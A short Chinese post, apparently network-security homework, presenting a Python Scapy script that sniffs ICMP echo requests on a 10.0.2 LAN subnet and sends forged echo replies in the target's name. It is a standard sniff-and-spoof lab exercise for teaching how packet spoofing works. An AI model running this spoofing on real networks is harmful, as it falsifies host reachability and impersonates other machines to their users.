实现局域网icmp回送消息的捕捉和伪造响应消息

    科技2022-08-29  99

    #!/usr/bin/python3 #by 小梅梅梅梅 网络安全作业 from scapy.all import * def spoof(pkt): if pkt.getlayer(ICMP).type==8: # #pkt.show() a=IP() a.dst=pkt.getlayer(IP).src a.src=pkt.getlayer(IP).dst b=ICMP() b.type=0 b.id=pkt.getlayer(ICMP).id b.code=pkt.getlayer(ICMP).code b.seq=pkt.getlayer(ICMP).seq str=pkt.getlayer(Raw).load p=a/b/Raw(str) send(p) print('THIS IS OUR POCKET ################################') p.show() #sniffing and spoofing print('Start to sniff and spoof!') pkt = sniff(filter='src net 10.0.2 and icmp ',prn=spoof)
    Processed: 0.017, SQL: 9